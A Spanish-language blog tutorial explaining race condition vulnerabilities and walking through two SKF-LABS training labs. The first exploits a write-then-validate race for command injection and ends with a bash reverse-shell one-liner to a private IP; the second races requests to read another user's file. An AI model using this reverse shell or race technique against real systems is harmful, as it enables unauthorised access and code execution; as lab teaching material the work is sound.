Condiciones de carrera (Race Condition) : Explicación y ejemplos

    Las condiciones de carrera(también conocidas como Race Condition son un tipo de vulnerabilidad que puede ocurrir en sistemas informáticos donde dos o más procesos o hilos de ejecución compiten por los mismos recursos sin que haya un mecanismo adecuado de sincronización para controlar el acceso a los mismos.

    Esto significa que si dos procesos intentan acceder a un mismo recurso compartido al mismo tiempo, puede ocurrir que la salida de uno o ambos procesos sea impredecible, o incluso que se produzca un comportamiento no deseado en el sistema.

    Los atacantes pueden aprovecharse de las condiciones de carrera para llevar a cabo ataques de denegación de servicio (DoS), sobrescribir datos críticos, obtener acceso no autorizado a recursos, o incluso ejecutar código malicioso en el sistema.

    Por ejemplo, supongamos que dos procesos intentan acceder a un archivo al mismo tiempo: uno para leer y el otro para escribir. Si no hay un mecanismo adecuado para sincronizar el acceso al archivo, puede ocurrir que el proceso de lectura lea datos incorrectos del archivo, o que el proceso de escritura sobrescriba datos importantes que necesitan ser preservados.

    El impacto de las condiciones de carrera en la seguridad depende de la naturaleza del recurso compartido y del tipo de ataque que se pueda llevar a cabo. En general, las condiciones de carrera pueden permitir a los atacantes acceder a recursos críticos, modificar datos importantes, o incluso tomar el control completo del sistema. Por lo tanto, es importante que los desarrolladores y administradores de sistemas tomen medidas para evitar y mitigar las condiciones de carrera en sus sistemas.


PoC

    Para el primer escenario usaremos el laboratorio de SKF-LABS Race Condition


La aplicación muestra un cuadro de entrada, donde puede insertar su nombre de usuario e ir a la siguiente pantalla, haciendo clic en "Hacerlo mío".


La aplicación verifica si el nombre de usuario contiene caracteres especiales como `"` y `\` y los borra. También aplica un filtrado estricto en el texto utilizando el siguiente regex: [A-Za-z0-9 ]**


  Vemos el código:


Aquí vemos dos opciones que en action no vale nada se le asigna run, si le indicamos un nombre lo valida(persona va a valer lo que indiquemos)

    Cuando creamos una persona si el nombre de usuario es correcto, hacemos clic en `Boot` y nos pondrá en el marcador.


    Si miramos el código, vemos que se están utilizando 4 funciones:

 • 1).boot_validate(person) la función recibe el nombre de usuario en la entrada y ejecuta lo siguiente:
        - elimina `"` y `\` del nombre de usuario.
        - abre `hello.sh` archivo.
        - escribe un comando en él.
        - cierra el archivo.
        - registra información útil.
        - comprueba si el nombre de usuario está en el formato `[A-Za-z0-9 ]*`
        - devuelve el nombre de usuario si el regex tiene éxito.

 • 2).boot_clean() que elimina todos los archivos de hola (`hello.sh` y `hello.txt`).

 • 3).boot_run() ejecuta el `hello.sh` archivo.

 • 4). boot_reset()restablece el sistema a la configuración predeterminada
se crea el archivo hello.sh con el contenido de hello.txt, además de que crea dos contenidos en log.txt de fecha

    Si interceptamos el tráfico generado por la aplicación, vemos que:

 • Se emite una solicitud GET para validar el nombre de usuario y la llamada boot_validate(person).


    Al hacer clic en el arranque, generará la solicitud para ejecutar el `boot_run()` función.


    Cuando intentamos inyectar código nos limpia el archivo hello.txt por tanto la bash del archivo sh no lo puede ejecutar .


    Tiene un validación.


    Esta validación se encarga de ver que la cadena empiece por echo, los numero y letras, entonces al inyectar código como `id`  ya no es una cadena alfanumérica y lo elimina con el propósito de evitar precisamente esto:

    Que no machea lo que hemos introducido la validación.


    Hace un boot clean.

    Es decir lo elimina.

    Aquí es donde se acontece la condición de carrera,   notamos que la función `boot_validate(person)` primero inserta el comando en el `hello.sh` y luego valida la entrada, devolviendo si es válida o no.


    Entre donde valida y elimina hay un margen el el cual y si vas muy rápido antes de borrar el archivo lo puedes ver  

    Antes de que podamos explotar la condición de carrera, necesitamos una buena carga útil que ejecute el comando para nosotros. Sabemos que las comillas dobles y la reacción inversa no se pueden usar para romper el comando, pero también sabemos que usando ''' backtick.

    Ahora podemos explotar esta secuencia para lograr una inyección de comandos. Para ello debemos enviar solicitudes con alta frecuencia.

    Entonces hacemos un bucle infinito para aprovecharnos y poder ver el archivo antes de ser eliminado .

Aquí hay que armarse de paciencia hasta que salga .



Y lo conseguimos ver.


O lo podemos hacer mediante un script;


    Y como vemos que lo ejecuta podemos hacer una inyeccion de comando y crear una revshell escapandola mediane las comillas `bash -i >& /dev/tcp/192.168.0.113/443 0>&1`.



2 Escenario

SKF-LABS Race Condition 2

    Esta es la web.

    Es decir ponemos lo que sea y nos descarga el siguiente archivo.

    Si vemos el código.

    Si observamos el código, vemos que la aplicación obtiene el parámetro de consulta, escribe en un archivo llamado shared-file.txt, luego abre el archivo y lo envía de vuelta como respuesta.

    Hay un margen entre cuando mete el contenido en el archivo y luego lo presenta para que lo descarguemos.

También si hay muchos usuarios creando archivos muy rápido nosotros podríamos llegar a verlos, lo hacemos mediante un bucle infinito

Interceptamos la petición y mientras tanto enviaremos un par de solicitudes de Burpsuite:

Y al ejecutarlo con el bucle infinito podemos ver el archivo de la otra persona:


    Si miramos en los registros veremos:



2 comentarios: